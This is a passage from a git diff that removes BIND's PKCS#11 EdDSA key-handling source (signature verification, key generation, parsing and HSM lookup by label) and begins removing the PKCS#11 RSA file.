-	REQUIRE(key->key_alg == DST_ALG_ED25519 ||
-		key->key_alg == DST_ALG_ED448);
-	REQUIRE(ec != NULL);
-
-	pk11_ctx = isc_mem_get(dctx->mctx, sizeof(*pk11_ctx));
-	memset(pk11_ctx, 0, sizeof(*pk11_ctx));
-	if (ec->ontoken && (dctx->use == DO_SIGN)) {
-		slotid = ec->slot;
-	} else {
-		slotid = pk11_get_best_token(OP_EDDSA);
-	}
-	ret = pk11_get_session(pk11_ctx, OP_EDDSA, true, false, ec->reqlogon,
-			       NULL, slotid);
-	if (ret != ISC_R_SUCCESS) {
-		goto err;
-	}
-
-	for (attr = pk11_attribute_first(ec); attr != NULL;
-	     attr = pk11_attribute_next(ec, attr))
-		switch (attr->type) {
-		case CKA_EC_PARAMS:
-			INSIST(keyTemplate[5].type == attr->type);
-			keyTemplate[5].pValue = isc_mem_get(dctx->mctx,
-							    attr->ulValueLen);
-			memmove(keyTemplate[5].pValue, attr->pValue,
-				attr->ulValueLen);
-			keyTemplate[5].ulValueLen = attr->ulValueLen;
-			break;
-		case CKA_EC_POINT:
-			INSIST(keyTemplate[6].type == attr->type);
-			keyTemplate[6].pValue = isc_mem_get(dctx->mctx,
-							    attr->ulValueLen);
-			memmove(keyTemplate[6].pValue, attr->pValue,
-				attr->ulValueLen);
-			keyTemplate[6].ulValueLen = attr->ulValueLen;
-			break;
-		}
-	pk11_ctx->object = CK_INVALID_HANDLE;
-	pk11_ctx->ontoken = false;
-	PK11_RET(pkcs_C_CreateObject,
-		 (pk11_ctx->session, keyTemplate, (CK_ULONG)7, &hKey),
-		 ISC_R_FAILURE);
-
-	PK11_RET(pkcs_C_VerifyInit, (pk11_ctx->session, &mech, hKey),
-		 ISC_R_FAILURE);
-
-	isc_buffer_usedregion(buf, &t);
-
-	PK11_RET(pkcs_C_Verify,
-		 (pk11_ctx->session, (CK_BYTE_PTR)t.base, (CK_ULONG)t.length,
-		  (CK_BYTE_PTR)sig->base, (CK_ULONG)sig->length),
-		 DST_R_VERIFYFAILURE);
-
-err:
-
-	if (hKey != CK_INVALID_HANDLE) {
-		(void)pkcs_C_DestroyObject(pk11_ctx->session, hKey);
-	}
-	for (i = 5; i <= 6; i++) {
-		if (keyTemplate[i].pValue != NULL) {
-			{
-				memset(keyTemplate[i].pValue, 0,
-				       keyTemplate[i].ulValueLen);
-				isc_mem_put(dctx->mctx, keyTemplate[i].pValue,
-					    keyTemplate[i].ulValueLen);
-			}
-		}
-	}
-	pk11_return_session(pk11_ctx);
-	memset(pk11_ctx, 0, sizeof(*pk11_ctx));
-	isc_mem_put(dctx->mctx, pk11_ctx, sizeof(*pk11_ctx));
-	isc_buffer_free(&buf);
-	dctx->ctxdata.generic = NULL;
-
-	return (ret);
-}
-
-static bool
-pkcs11eddsa_compare(const dst_key_t *key1, const dst_key_t *key2) {
-	pk11_object_t *ec1, *ec2;
-	CK_ATTRIBUTE *attr1, *attr2;
-
-	ec1 = key1->keydata.pkey;
-	ec2 = key2->keydata.pkey;
-
-	if ((ec1 == NULL) && (ec2 == NULL)) {
-		return (true);
-	} else if ((ec1 == NULL) || (ec2 == NULL)) {
-		return (false);
-	}
-
-	attr1 = pk11_attribute_bytype(ec1, CKA_EC_PARAMS);
-	attr2 = pk11_attribute_bytype(ec2, CKA_EC_PARAMS);
-	if ((attr1 == NULL) && (attr2 == NULL)) {
-		return (true);
-	} else if ((attr1 == NULL) || (attr2 == NULL) ||
-		   (attr1->ulValueLen != attr2->ulValueLen) ||
-		   !isc_safe_memequal(attr1->pValue, attr2->pValue,
-				      attr1->ulValueLen))
-	{
-		return (false);
-	}
-
-	attr1 = pk11_attribute_bytype(ec1, CKA_EC_POINT);
-	attr2 = pk11_attribute_bytype(ec2, CKA_EC_POINT);
-	if ((attr1 == NULL) && (attr2 == NULL)) {
-		return (true);
-	} else if ((attr1 == NULL) || (attr2 == NULL) ||
-		   (attr1->ulValueLen != attr2->ulValueLen) ||
-		   !isc_safe_memequal(attr1->pValue, attr2->pValue,
-				      attr1->ulValueLen))
-	{
-		return (false);
-	}
-
-	attr1 = pk11_attribute_bytype(ec1, CKA_VALUE);
-	attr2 = pk11_attribute_bytype(ec2, CKA_VALUE);
-	if (((attr1 != NULL) || (attr2 != NULL)) &&
-	    ((attr1 == NULL) || (attr2 == NULL) ||
-	     (attr1->ulValueLen != attr2->ulValueLen) ||
-	     !isc_safe_memequal(attr1->pValue, attr2->pValue,
-				attr1->ulValueLen)))
-	{
-		return (false);
-	}
-
-	if (!ec1->ontoken && !ec2->ontoken) {
-		return (true);
-	} else if (ec1->ontoken || ec2->ontoken || (ec1->object != ec2->object))
-	{
-		return (false);
-	}
-
-	return (true);
-}
-
-#define SETCURVE()                                                             \
-	switch (key->key_alg) {                                                \
-	case DST_ALG_ED25519:                                                  \
-		attr->pValue = isc_mem_get(key->mctx,                          \
-					   sizeof(PK11_ECX_ED25519));          \
-		memmove(attr->pValue, PK11_ECX_ED25519,                        \
-			sizeof(PK11_ECX_ED25519));                             \
-		attr->ulValueLen = sizeof(PK11_ECX_ED25519);                   \
-		break;                                                         \
-	case DST_ALG_ED448:                                                    \
-		attr->pValue = isc_mem_get(key->mctx, sizeof(PK11_ECX_ED448)); \
-		memmove(attr->pValue, PK11_ECX_ED448, sizeof(PK11_ECX_ED448)); \
-		attr->ulValueLen = sizeof(PK11_ECX_ED448);                     \
-		break;                                                         \
-	default:                                                               \
-		INSIST(0);                                                     \
-		ISC_UNREACHABLE();                                             \
-	}
-
-#define FREECURVE()                                                     \
-	if (attr->pValue != NULL) {                                     \
-		memset(attr->pValue, 0, attr->ulValueLen);              \
-		isc_mem_put(key->mctx, attr->pValue, attr->ulValueLen); \
-		attr->pValue = NULL;                                    \
-	}
-
-static isc_result_t
-pkcs11eddsa_generate(dst_key_t *key, int unused, void (*callback)(int)) {
-	CK_RV rv;
-	CK_MECHANISM mech = { CKM_EC_EDWARDS_KEY_PAIR_GEN, NULL, 0 };
-	CK_OBJECT_HANDLE pub = CK_INVALID_HANDLE;
-	CK_OBJECT_CLASS pubClass = CKO_PUBLIC_KEY;
-	CK_KEY_TYPE keyType = CKK_EC_EDWARDS;
-	CK_ATTRIBUTE pubTemplate[] = {
-		{ CKA_CLASS, &pubClass, (CK_ULONG)sizeof(pubClass) },
-		{ CKA_KEY_TYPE, &keyType, (CK_ULONG)sizeof(keyType) },
-		{ CKA_TOKEN, &falsevalue, (CK_ULONG)sizeof(falsevalue) },
-		{ CKA_PRIVATE, &falsevalue, (CK_ULONG)sizeof(falsevalue) },
-		{ CKA_VERIFY, &truevalue, (CK_ULONG)sizeof(truevalue) },
-		{ CKA_EC_PARAMS, NULL, 0 }
-	};
-	CK_OBJECT_HANDLE priv = CK_INVALID_HANDLE;
-	CK_OBJECT_HANDLE privClass = CKO_PRIVATE_KEY;
-	CK_ATTRIBUTE privTemplate[] = {
-		{ CKA_CLASS, &privClass, (CK_ULONG)sizeof(privClass) },
-		{ CKA_KEY_TYPE, &keyType, (CK_ULONG)sizeof(keyType) },
-		{ CKA_TOKEN, &falsevalue, (CK_ULONG)sizeof(falsevalue) },
-		{ CKA_PRIVATE, &falsevalue, (CK_ULONG)sizeof(falsevalue) },
-		{ CKA_SENSITIVE, &falsevalue, (CK_ULONG)sizeof(falsevalue) },
-		{ CKA_EXTRACTABLE, &truevalue, (CK_ULONG)sizeof(truevalue) },
-		{ CKA_SIGN, &truevalue, (CK_ULONG)sizeof(truevalue) }
-	};
-	CK_ATTRIBUTE *attr;
-	pk11_object_t *ec;
-	pk11_context_t *pk11_ctx;
-	isc_result_t ret;
-
-	REQUIRE(key->key_alg == DST_ALG_ED25519 ||
-		key->key_alg == DST_ALG_ED448);
-	UNUSED(unused);
-	UNUSED(callback);
-
-	pk11_ctx = isc_mem_get(key->mctx, sizeof(*pk11_ctx));
-	ret = pk11_get_session(pk11_ctx, OP_EDDSA, true, false, false, NULL,
-			       pk11_get_best_token(OP_EDDSA));
-	if (ret != ISC_R_SUCCESS) {
-		goto err;
-	}
-
-	ec = isc_mem_get(key->mctx, sizeof(*ec));
-	memset(ec, 0, sizeof(*ec));
-	key->keydata.pkey = ec;
-	ec->repr = isc_mem_get(key->mctx, sizeof(*attr) * 3);
-	memset(ec->repr, 0, sizeof(*attr) * 3);
-	ec->attrcnt = 3;
-
-	attr = ec->repr;
-	attr[0].type = CKA_EC_PARAMS;
-	attr[1].type = CKA_EC_POINT;
-	attr[2].type = CKA_VALUE;
-
-	attr = &pubTemplate[5];
-	SETCURVE();
-
-	PK11_RET(pkcs_C_GenerateKeyPair,
-		 (pk11_ctx->session, &mech, pubTemplate, (CK_ULONG)6,
-		  privTemplate, (CK_ULONG)7, &pub, &priv),
-		 DST_R_CRYPTOFAILURE);
-
-	attr = &pubTemplate[5];
-	FREECURVE();
-
-	attr = ec->repr;
-	SETCURVE();
-
-	attr++;
-	PK11_RET(pkcs_C_GetAttributeValue, (pk11_ctx->session, pub, attr, 1),
-		 DST_R_CRYPTOFAILURE);
-	attr->pValue = isc_mem_get(key->mctx, attr->ulValueLen);
-	memset(attr->pValue, 0, attr->ulValueLen);
-	PK11_RET(pkcs_C_GetAttributeValue, (pk11_ctx->session, pub, attr, 1),
-		 DST_R_CRYPTOFAILURE);
-
-	attr++;
-	PK11_RET(pkcs_C_GetAttributeValue, (pk11_ctx->session, priv, attr, 1),
-		 DST_R_CRYPTOFAILURE);
-	attr->pValue = isc_mem_get(key->mctx, attr->ulValueLen);
-	memset(attr->pValue, 0, attr->ulValueLen);
-	PK11_RET(pkcs_C_GetAttributeValue, (pk11_ctx->session, priv, attr, 1),
-		 DST_R_CRYPTOFAILURE);
-
-	(void)pkcs_C_DestroyObject(pk11_ctx->session, priv);
-	(void)pkcs_C_DestroyObject(pk11_ctx->session, pub);
-	pk11_return_session(pk11_ctx);
-	memset(pk11_ctx, 0, sizeof(*pk11_ctx));
-	isc_mem_put(key->mctx, pk11_ctx, sizeof(*pk11_ctx));
-
-	switch (key->key_alg) {
-	case DST_ALG_ED25519:
-		key->key_size = DNS_KEY_ED25519SIZE * 8;
-		break;
-	case DST_ALG_ED448:
-		key->key_size = DNS_KEY_ED448SIZE * 8;
-		break;
-	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-
-	return (ISC_R_SUCCESS);
-
-err:
-	pkcs11eddsa_destroy(key);
-	if (priv != CK_INVALID_HANDLE) {
-		(void)pkcs_C_DestroyObject(pk11_ctx->session, priv);
-	}
-	if (pub != CK_INVALID_HANDLE) {
-		(void)pkcs_C_DestroyObject(pk11_ctx->session, pub);
-	}
-	pk11_return_session(pk11_ctx);
-	memset(pk11_ctx, 0, sizeof(*pk11_ctx));
-	isc_mem_put(key->mctx, pk11_ctx, sizeof(*pk11_ctx));
-
-	return (ret);
-}
-
-static bool
-pkcs11eddsa_isprivate(const dst_key_t *key) {
-	pk11_object_t *ec = key->keydata.pkey;
-	CK_ATTRIBUTE *attr;
-
-	if (ec == NULL) {
-		return (false);
-	}
-	attr = pk11_attribute_bytype(ec, CKA_VALUE);
-	return (attr != NULL || ec->ontoken);
-}
-
-static void
-pkcs11eddsa_destroy(dst_key_t *key) {
-	pk11_object_t *ec = key->keydata.pkey;
-	CK_ATTRIBUTE *attr;
-
-	if (ec == NULL) {
-		return;
-	}
-
-	INSIST((ec->object == CK_INVALID_HANDLE) || ec->ontoken);
-
-	for (attr = pk11_attribute_first(ec); attr != NULL;
-	     attr = pk11_attribute_next(ec, attr))
-		switch (attr->type) {
-		case CKA_LABEL:
-		case CKA_ID:
-		case CKA_EC_PARAMS:
-		case CKA_EC_POINT:
-		case CKA_VALUE:
-			FREECURVE();
-			break;
-		}
-	if (ec->repr != NULL) {
-		memset(ec->repr, 0, ec->attrcnt * sizeof(*attr));
-		isc_mem_put(key->mctx, ec->repr, ec->attrcnt * sizeof(*attr));
-	}
-	memset(ec, 0, sizeof(*ec));
-	isc_mem_put(key->mctx, ec, sizeof(*ec));
-	key->keydata.pkey = NULL;
-}
-
-static isc_result_t
-pkcs11eddsa_todns(const dst_key_t *key, isc_buffer_t *data) {
-	pk11_object_t *ec;
-	isc_region_t r;
-	unsigned int len;
-	CK_ATTRIBUTE *attr;
-
-	REQUIRE(key->keydata.pkey != NULL);
-
-	switch (key->key_alg) {
-	case DST_ALG_ED25519:
-		len = DNS_KEY_ED25519SIZE;
-		break;
-	case DST_ALG_ED448:
-		len = DNS_KEY_ED448SIZE;
-		break;
-	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-
-	ec = key->keydata.pkey;
-	attr = pk11_attribute_bytype(ec, CKA_EC_POINT);
-	if ((attr == NULL) || (attr->ulValueLen != len + 2) ||
-	    (((CK_BYTE_PTR)attr->pValue)[0] != TAG_OCTECT_STRING) ||
-	    (((CK_BYTE_PTR)attr->pValue)[1] != len))
-	{
-		return (ISC_R_FAILURE);
-	}
-
-	isc_buffer_availableregion(data, &r);
-	if (r.length < len) {
-		return (ISC_R_NOSPACE);
-	}
-	memmove(r.base, (CK_BYTE_PTR)attr->pValue + 2, len);
-	isc_buffer_add(data, len);
-
-	return (ISC_R_SUCCESS);
-}
-
-static isc_result_t
-pkcs11eddsa_fromdns(dst_key_t *key, isc_buffer_t *data) {
-	pk11_object_t *ec;
-	isc_region_t r;
-	unsigned int len;
-	CK_ATTRIBUTE *attr;
-
-	REQUIRE(key->key_alg == DST_ALG_ED25519 ||
-		key->key_alg == DST_ALG_ED448);
-
-	switch (key->key_alg) {
-	case DST_ALG_ED25519:
-		len = DNS_KEY_ED25519SIZE;
-		break;
-	case DST_ALG_ED448:
-		len = DNS_KEY_ED448SIZE;
-		break;
-	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-
-	isc_buffer_remainingregion(data, &r);
-	if (r.length == 0) {
-		return (ISC_R_SUCCESS);
-	}
-	if (r.length != len) {
-		return (DST_R_INVALIDPUBLICKEY);
-	}
-
-	ec = isc_mem_get(key->mctx, sizeof(*ec));
-	memset(ec, 0, sizeof(*ec));
-	ec->repr = isc_mem_get(key->mctx, sizeof(*attr) * 2);
-	ec->attrcnt = 2;
-
-	attr = ec->repr;
-	attr->type = CKA_EC_PARAMS;
-	SETCURVE();
-
-	attr++;
-	attr->type = CKA_EC_POINT;
-	attr->pValue = isc_mem_get(key->mctx, len + 2);
-	((CK_BYTE_PTR)attr->pValue)[0] = TAG_OCTECT_STRING;
-	((CK_BYTE_PTR)attr->pValue)[1] = len;
-	memmove((CK_BYTE_PTR)attr->pValue + 2, r.base, len);
-	attr->ulValueLen = len + 2;
-
-	isc_buffer_forward(data, len);
-	key->keydata.pkey = ec;
-	key->key_size = len * 8;
-
-	return (ISC_R_SUCCESS);
-}
-
-static isc_result_t
-pkcs11eddsa_tofile(const dst_key_t *key, const char *directory) {
-	isc_result_t ret;
-	pk11_object_t *ec;
-	dst_private_t priv;
-	unsigned char *buf = NULL;
-	unsigned int i = 0;
-	CK_ATTRIBUTE *attr;
-
-	if (key->keydata.pkey == NULL) {
-		return (DST_R_NULLKEY);
-	}
-
-	if (key->external) {
-		priv.nelements = 0;
-		return (dst__privstruct_writefile(key, &priv, directory));
-	}
-
-	ec = key->keydata.pkey;
-	attr = pk11_attribute_bytype(ec, CKA_VALUE);
-	if (attr != NULL) {
-		buf = isc_mem_get(key->mctx, attr->ulValueLen);
-		priv.elements[i].tag = TAG_EDDSA_PRIVATEKEY;
-		priv.elements[i].length = (unsigned short)attr->ulValueLen;
-		memmove(buf, attr->pValue, attr->ulValueLen);
-		priv.elements[i].data = buf;
-		i++;
-	}
-
-	if (key->engine != NULL) {
-		priv.elements[i].tag = TAG_EDDSA_ENGINE;
-		priv.elements[i].length = strlen(key->engine) + 1;
-		priv.elements[i].data = (unsigned char *)key->engine;
-		i++;
-	}
-
-	if (key->label != NULL) {
-		priv.elements[i].tag = TAG_EDDSA_LABEL;
-		priv.elements[i].length = strlen(key->label) + 1;
-		priv.elements[i].data = (unsigned char *)key->label;
-		i++;
-	}
-
-	priv.nelements = i;
-	ret = dst__privstruct_writefile(key, &priv, directory);
-
-	if (buf != NULL) {
-		memset(buf, 0, attr->ulValueLen);
-		isc_mem_put(key->mctx, buf, attr->ulValueLen);
-	}
-	return (ret);
-}
-
-static isc_result_t
-pkcs11eddsa_fetch(dst_key_t *key, const char *engine, const char *label,
-		  dst_key_t *pub) {
-	CK_RV rv;
-	CK_OBJECT_CLASS keyClass = CKO_PRIVATE_KEY;
-	CK_KEY_TYPE keyType = CKK_EC_EDWARDS;
-	CK_ATTRIBUTE searchTemplate[] = {
-		{ CKA_CLASS, &keyClass, (CK_ULONG)sizeof(keyClass) },
-		{ CKA_KEY_TYPE, &keyType, (CK_ULONG)sizeof(keyType) },
-		{ CKA_TOKEN, &truevalue, (CK_ULONG)sizeof(truevalue) },
-		{ CKA_LABEL, NULL, 0 }
-	};
-	CK_ULONG cnt;
-	CK_ATTRIBUTE *attr;
-	CK_ATTRIBUTE *pubattr;
-	pk11_object_t *ec;
-	pk11_object_t *pubec;
-	pk11_context_t *pk11_ctx = NULL;
-	isc_result_t ret;
-
-	if (label == NULL) {
-		return (DST_R_NOENGINE);
-	}
-
-	ec = key->keydata.pkey;
-	pubec = pub->keydata.pkey;
-
-	ec->object = CK_INVALID_HANDLE;
-	ec->ontoken = true;
-	ec->reqlogon = true;
-	ec->repr = isc_mem_get(key->mctx, sizeof(*attr) * 2);
-	memset(ec->repr, 0, sizeof(*attr) * 2);
-	ec->attrcnt = 2;
-	attr = ec->repr;
-
-	attr->type = CKA_EC_PARAMS;
-	pubattr = pk11_attribute_bytype(pubec, CKA_EC_PARAMS);
-	INSIST(pubattr != NULL);
-	attr->pValue = isc_mem_get(key->mctx, pubattr->ulValueLen);
-	memmove(attr->pValue, pubattr->pValue, pubattr->ulValueLen);
-	attr->ulValueLen = pubattr->ulValueLen;
-	attr++;
-
-	attr->type = CKA_EC_POINT;
-	pubattr = pk11_attribute_bytype(pubec, CKA_EC_POINT);
-	INSIST(pubattr != NULL);
-	attr->pValue = isc_mem_get(key->mctx, pubattr->ulValueLen);
-	memmove(attr->pValue, pubattr->pValue, pubattr->ulValueLen);
-	attr->ulValueLen = pubattr->ulValueLen;
-
-	ret = pk11_parse_uri(ec, label, key->mctx, OP_EDDSA);
-	if (ret != ISC_R_SUCCESS) {
-		goto err;
-	}
-
-	pk11_ctx = isc_mem_get(key->mctx, sizeof(*pk11_ctx));
-	ret = pk11_get_session(pk11_ctx, OP_EDDSA, true, false, ec->reqlogon,
-			       NULL, ec->slot);
-	if (ret != ISC_R_SUCCESS) {
-		goto err;
-	}
-
-	attr = pk11_attribute_bytype(ec, CKA_LABEL);
-	if (attr == NULL) {
-		attr = pk11_attribute_bytype(ec, CKA_ID);
-		INSIST(attr != NULL);
-		searchTemplate[3].type = CKA_ID;
-	}
-	searchTemplate[3].pValue = attr->pValue;
-	searchTemplate[3].ulValueLen = attr->ulValueLen;
-
-	PK11_RET(pkcs_C_FindObjectsInit,
-		 (pk11_ctx->session, searchTemplate, (CK_ULONG)4),
-		 DST_R_CRYPTOFAILURE);
-	PK11_RET(pkcs_C_FindObjects,
-		 (pk11_ctx->session, &ec->object, (CK_ULONG)1, &cnt),
-		 DST_R_CRYPTOFAILURE);
-	(void)pkcs_C_FindObjectsFinal(pk11_ctx->session);
-	if (cnt == 0) {
-		DST_RET(ISC_R_NOTFOUND);
-	}
-	if (cnt > 1) {
-		DST_RET(ISC_R_EXISTS);
-	}
-
-	if (engine != NULL) {
-		key->engine = isc_mem_strdup(key->mctx, engine);
-	}
-
-	key->label = isc_mem_strdup(key->mctx, label);
-
-	pk11_return_session(pk11_ctx);
-	memset(pk11_ctx, 0, sizeof(*pk11_ctx));
-	isc_mem_put(key->mctx, pk11_ctx, sizeof(*pk11_ctx));
-	return (ISC_R_SUCCESS);
-
-err:
-	if (pk11_ctx != NULL) {
-		pk11_return_session(pk11_ctx);
-		memset(pk11_ctx, 0, sizeof(*pk11_ctx));
-		isc_mem_put(key->mctx, pk11_ctx, sizeof(*pk11_ctx));
-	}
-	return (ret);
-}
-
-static isc_result_t
-pkcs11eddsa_parse(dst_key_t *key, isc_lex_t *lexer, dst_key_t *pub) {
-	dst_private_t priv;
-	isc_result_t ret;
-	pk11_object_t *ec = NULL;
-	CK_ATTRIBUTE *attr, *pattr;
-	isc_mem_t *mctx = key->mctx;
-	unsigned int i;
-	const char *engine = NULL, *label = NULL;
-
-	REQUIRE(key->key_alg == DST_ALG_ED25519 ||
-		key->key_alg == DST_ALG_ED448);
-
-	if ((pub == NULL) || (pub->keydata.pkey == NULL)) {
-		DST_RET(DST_R_INVALIDPRIVATEKEY);
-	}
-
-	/* read private key file */
-	ret = dst__privstruct_parse(key, DST_ALG_ED25519, lexer, mctx, &priv);
-	if (ret != ISC_R_SUCCESS) {
-		return (ret);
-	}
-
-	if (key->external) {
-		if (priv.nelements != 0) {
-			DST_RET(DST_R_INVALIDPRIVATEKEY);
-		}
-
-		key->keydata.pkey = pub->keydata.pkey;
-		pub->keydata.pkey = NULL;
-		key->key_size = pub->key_size;
-
-		dst__privstruct_free(&priv, mctx);
-		memset(&priv, 0, sizeof(priv));
-
-		return (ISC_R_SUCCESS);
-	}
-
-	for (i = 0; i < priv.nelements; i++) {
-		switch (priv.elements[i].tag) {
-		case TAG_EDDSA_ENGINE:
-			engine = (char *)priv.elements[i].data;
-			break;
-		case TAG_EDDSA_LABEL:
-			label = (char *)priv.elements[i].data;
-			break;
-		default:
-			break;
-		}
-	}
-	ec = isc_mem_get(key->mctx, sizeof(*ec));
-	memset(ec, 0, sizeof(*ec));
-	key->keydata.pkey = ec;
-
-	/* Is this key is stored in a HSM? See if we can fetch it. */
-	if ((label != NULL) || (engine != NULL)) {
-		ret = pkcs11eddsa_fetch(key, engine, label, pub);
-		if (ret != ISC_R_SUCCESS) {
-			goto err;
-		}
-		dst__privstruct_free(&priv, mctx);
-		memset(&priv, 0, sizeof(priv));
-		return (ret);
-	}
-
-	ec->repr = isc_mem_get(key->mctx, sizeof(*attr) * 3);
-	memset(ec->repr, 0, sizeof(*attr) * 3);
-	ec->attrcnt = 3;
-
-	attr = ec->repr;
-	attr->type = CKA_EC_PARAMS;
-	pattr = pk11_attribute_bytype(pub->keydata.pkey, CKA_EC_PARAMS);
-	INSIST(pattr != NULL);
-	attr->pValue = isc_mem_get(key->mctx, pattr->ulValueLen);
-	memmove(attr->pValue, pattr->pValue, pattr->ulValueLen);
-	attr->ulValueLen = pattr->ulValueLen;
-
-	attr++;
-	attr->type = CKA_EC_POINT;
-	pattr = pk11_attribute_bytype(pub->keydata.pkey, CKA_EC_POINT);
-	INSIST(pattr != NULL);
-	attr->pValue = isc_mem_get(key->mctx, pattr->ulValueLen);
-	memmove(attr->pValue, pattr->pValue, pattr->ulValueLen);
-	attr->ulValueLen = pattr->ulValueLen;
-
-	attr++;
-	attr->type = CKA_VALUE;
-	attr->pValue = isc_mem_get(key->mctx, priv.elements[0].length);
-	memmove(attr->pValue, priv.elements[0].data, priv.elements[0].length);
-	attr->ulValueLen = priv.elements[0].length;
-
-	dst__privstruct_free(&priv, mctx);
-	memset(&priv, 0, sizeof(priv));
-	switch (key->key_alg) {
-	case DST_ALG_ED25519:
-		key->key_size = DNS_KEY_ED25519SIZE * 8;
-		break;
-	case DST_ALG_ED448:
-		key->key_size = DNS_KEY_ED448SIZE * 8;
-		break;
-	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-
-	return (ISC_R_SUCCESS);
-
-err:
-	pkcs11eddsa_destroy(key);
-	dst__privstruct_free(&priv, mctx);
-	memset(&priv, 0, sizeof(priv));
-	return (ret);
-}
-
-static isc_result_t
-pkcs11eddsa_fromlabel(dst_key_t *key, const char *engine, const char *label,
-		      const char *pin) {
-	CK_RV rv;
-	CK_OBJECT_HANDLE hKey = CK_INVALID_HANDLE;
-	CK_OBJECT_CLASS keyClass = CKO_PUBLIC_KEY;
-	CK_KEY_TYPE keyType = CKK_EC_EDWARDS;
-	CK_ATTRIBUTE searchTemplate[] = {
-		{ CKA_CLASS, &keyClass, (CK_ULONG)sizeof(keyClass) },
-		{ CKA_KEY_TYPE, &keyType, (CK_ULONG)sizeof(keyType) },
-		{ CKA_TOKEN, &truevalue, (CK_ULONG)sizeof(truevalue) },
-		{ CKA_LABEL, NULL, 0 }
-	};
-	CK_ULONG cnt;
-	CK_ATTRIBUTE *attr;
-	pk11_object_t *ec;
-	pk11_context_t *pk11_ctx = NULL;
-	isc_result_t ret;
-	unsigned int i;
-
-	UNUSED(pin);
-
-	ec = isc_mem_get(key->mctx, sizeof(*ec));
-	memset(ec, 0, sizeof(*ec));
-	ec->object = CK_INVALID_HANDLE;
-	ec->ontoken = true;
-	ec->reqlogon = true;
-	key->keydata.pkey = ec;
-
-	ec->repr = isc_mem_get(key->mctx, sizeof(*attr) * 2);
-	memset(ec->repr, 0, sizeof(*attr) * 2);
-	ec->attrcnt = 2;
-	attr = ec->repr;
-	attr[0].type = CKA_EC_PARAMS;
-	attr[1].type = CKA_EC_POINT;
-
-	ret = pk11_parse_uri(ec, label, key->mctx, OP_EDDSA);
-	if (ret != ISC_R_SUCCESS) {
-		goto err;
-	}
-
-	pk11_ctx = isc_mem_get(key->mctx, sizeof(*pk11_ctx));
-	ret = pk11_get_session(pk11_ctx, OP_EDDSA, true, false, ec->reqlogon,
-			       NULL, ec->slot);
-	if (ret != ISC_R_SUCCESS) {
-		goto err;
-	}
-
-	attr = pk11_attribute_bytype(ec, CKA_LABEL);
-	if (attr == NULL) {
-		attr = pk11_attribute_bytype(ec, CKA_ID);
-		INSIST(attr != NULL);
-		searchTemplate[3].type = CKA_ID;
-	}
-	searchTemplate[3].pValue = attr->pValue;
-	searchTemplate[3].ulValueLen = attr->ulValueLen;
-
-	PK11_RET(pkcs_C_FindObjectsInit,
-		 (pk11_ctx->session, searchTemplate, (CK_ULONG)4),
-		 DST_R_CRYPTOFAILURE);
-	PK11_RET(pkcs_C_FindObjects,
-		 (pk11_ctx->session, &hKey, (CK_ULONG)1, &cnt),
-		 DST_R_CRYPTOFAILURE);
-	(void)pkcs_C_FindObjectsFinal(pk11_ctx->session);
-	if (cnt == 0) {
-		DST_RET(ISC_R_NOTFOUND);
-	}
-	if (cnt > 1) {
-		DST_RET(ISC_R_EXISTS);
-	}
-
-	attr = ec->repr;
-	PK11_RET(pkcs_C_GetAttributeValue, (pk11_ctx->session, hKey, attr, 2),
-		 DST_R_CRYPTOFAILURE);
-	for (i = 0; i <= 1; i++) {
-		attr[i].pValue = isc_mem_get(key->mctx, attr[i].ulValueLen);
-		memset(attr[i].pValue, 0, attr[i].ulValueLen);
-	}
-	PK11_RET(pkcs_C_GetAttributeValue, (pk11_ctx->session, hKey, attr, 2),
-		 DST_R_CRYPTOFAILURE);
-
-	keyClass = CKO_PRIVATE_KEY;
-	PK11_RET(pkcs_C_FindObjectsInit,
-		 (pk11_ctx->session, searchTemplate, (CK_ULONG)4),
-		 DST_R_CRYPTOFAILURE);
-	PK11_RET(pkcs_C_FindObjects,
-		 (pk11_ctx->session, &ec->object, (CK_ULONG)1, &cnt),
-		 DST_R_CRYPTOFAILURE);
-	(void)pkcs_C_FindObjectsFinal(pk11_ctx->session);
-	if (cnt == 0) {
-		DST_RET(ISC_R_NOTFOUND);
-	}
-	if (cnt > 1) {
-		DST_RET(ISC_R_EXISTS);
-	}
-
-	if (engine != NULL) {
-		key->engine = isc_mem_strdup(key->mctx, engine);
-	}
-
-	key->label = isc_mem_strdup(key->mctx, label);
-	switch (key->key_alg) {
-	case DST_ALG_ED25519:
-		key->key_size = DNS_KEY_ED25519SIZE * 8;
-		break;
-	case DST_ALG_ED448:
-		key->key_size = DNS_KEY_ED448SIZE * 8;
-		break;
-	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-
-	pk11_return_session(pk11_ctx);
-	memset(pk11_ctx, 0, sizeof(*pk11_ctx));
-	isc_mem_put(key->mctx, pk11_ctx, sizeof(*pk11_ctx));
-	return (ISC_R_SUCCESS);
-
-err:
-	pkcs11eddsa_destroy(key);
-	if (pk11_ctx != NULL) {
-		pk11_return_session(pk11_ctx);
-		memset(pk11_ctx, 0, sizeof(*pk11_ctx));
-		isc_mem_put(key->mctx, pk11_ctx, sizeof(*pk11_ctx));
-	}
-	return (ret);
-}
-
-static dst_func_t pkcs11eddsa_functions = {
-	pkcs11eddsa_createctx,
-	NULL, /*%< createctx2 */
-	pkcs11eddsa_destroyctx,
-	pkcs11eddsa_adddata,
-	pkcs11eddsa_sign,
-	pkcs11eddsa_verify,
-	NULL, /*%< verify2 */
-	NULL, /*%< computesecret */
-	pkcs11eddsa_compare,
-	NULL, /*%< paramcompare */
-	pkcs11eddsa_generate,
-	pkcs11eddsa_isprivate,
-	pkcs11eddsa_destroy,
-	pkcs11eddsa_todns,
-	pkcs11eddsa_fromdns,
-	pkcs11eddsa_tofile,
-	pkcs11eddsa_parse,
-	NULL, /*%< cleanup */
-	pkcs11eddsa_fromlabel,
-	NULL, /*%< dump */
-	NULL, /*%< restore */
-};
-
-isc_result_t
-dst__pkcs11eddsa_init(dst_func_t **funcp) {
-	REQUIRE(funcp != NULL);
-	if (*funcp == NULL) {
-		*funcp = &pkcs11eddsa_functions;
-	}
-	return (ISC_R_SUCCESS);
-}
diff --git a/lib/dns/pkcs11rsa_link.c b/lib/dns/pkcs11rsa_link.c
deleted file mode 100644
index 6e78941622..0000000000
--- a/lib/dns/pkcs11rsa_link.c
+++ /dev/null
@@ -1,2102 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
